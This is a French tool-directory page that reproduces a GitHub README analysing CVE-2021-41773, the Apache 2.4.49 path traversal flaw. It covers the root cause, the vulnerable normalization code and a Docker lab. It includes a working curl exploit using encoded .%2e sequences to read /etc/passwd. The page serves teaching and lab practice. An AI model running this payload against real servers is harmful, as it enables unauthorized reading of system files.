Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-41773 — PoC and analysis of CVE-2021-41773 | Kitploit
Outils/GitHubGitHub/tr3m0x/cve-2021-41773
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC and analysis of CVE-2021-41773

Voir le dépôt
il y a 24 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-41773 PoC — Traversée de chemin dans Apache HTTP Server

Vue d'ensemble

CVE-2021-41773 est une vulnérabilité de traversée de chemin affectant Apache HTTP Server 2.4.49.

La vulnérabilité permet à un attaquant d'accéder à des fichiers en dehors du répertoire prévu dans certaines configurations, notamment lorsque des répertoires sont exposés via Alias, ScriptAlias ou d'autres directives de type Alias.

La vulnérabilité existe en raison d'une gestion incorrecte de la normalisation et de la canonicalisation des chemins d'URL. Apache effectuait des contrôles de sécurité sur une représentation du chemin qui pouvait encore contenir des caractères encodés, permettant aux attaquants de contourner la détection de traversée à l'aide de séquences de points encodées.


Impact

Un attaquant peut élaborer une URL malveillante contenant des séquences de traversée encodées telles que :

root@kitploit:~
.%2e

où :

root@kitploit:~
%2e = .

Par conséquent :

root@kitploit:~
.%2e

devient :

root@kitploit:~
..

après décodage.

Si Apache valide la représentation encodée avant de la résoudre sous sa forme canonique, le contrôle de traversée peut être contourné.

Une exploitation réussie peut permettre à un attaquant de lire des fichiers arbitraires du système de fichiers.

Exemple de cible :

root@kitploit:~
/etc/passwd

Code vulnérable

La logique vulnérable se trouve dans :

root@kitploit:~
server/util.c

dans :

root@kitploit:~
ap_normalize_path()

Code vulnérable d'Apache 2.4.49 :

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

Analyse de la cause racine

Le code vulnérable tente d'identifier les motifs de traversée de répertoire :

root@kitploit:~
../

en vérifiant la présence de points consécutifs :

root@kitploit:~
path[l + 1] == '.'

Cependant, un attaquant peut fournir une séquence de traversée encodée :

root@kitploit:~
/.%2e/

Au moment du contrôle de normalisation, Apache traite :

root@kitploit:~
.%2e

au lieu de :

root@kitploit:~
..

Car :

root@kitploit:~
%2e != .

la logique de détection de traversée ne reconnaît pas la séquence comme :

root@kitploit:~
../

Le chemin est ensuite interprété sous sa forme décodée, ce qui permet à la traversée de se produire.


Flux de traitement vulnérable

Le comportement vulnérable peut être représenté comme suit :

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

La décision de sécurité est prise avant que le chemin n'atteigne sa représentation canonique finale.

Une approche plus sûre consiste à :

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

Les contrôles de sécurité doivent toujours être effectués sur la représentation normalisée finale.


Mise en place du laboratoire

Cloner le dépôt

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

Construire l'image Docker vulnérable

root@kitploit:~
docker build -t apache-cve-2021-41773 .

Démarrer le serveur Apache vulnérable

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

Exploitation

Envoyez une requête contenant une séquence de traversée encodée :

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Une exploitation réussie renvoie le contenu de :

root@kitploit:~
/etc/passwd

Exemple :

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

Note relative aux réponses HTTP 403

Une réponse 403 Forbidden ne signifie pas nécessairement que l'exploitation a échoué.

Lors des tests, Apache peut normaliser avec succès :

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

en :

root@kitploit:~
/etc/passwd

mais refuser l'accès en raison des permissions du système de fichiers ou des règles d'autorisation d'Apache.

Exemple :

root@kitploit:~
client denied by server configuration: /etc/passwd

Cela indique que la traversée a bien eu lieu, mais que le contrôle d'accès a empêché la divulgation du fichier.


Point clé à retenir

CVE-2021-41773 est un exemple classique de vulnérabilité de canonicalisation.

Une entrée contrôlée par l'utilisateur peut avoir plusieurs représentations :

root@kitploit:~
.%2e

et :

root@kitploit:~
..

Bien qu'elles semblent différentes, elles représentent la même composante de chemin.

Les contrôles de sécurité doivent toujours être effectués après le décodage et la normalisation. Valider une représentation encodée ou ambiguë peut entraîner des contournements de sécurité.

Télécharger l’outil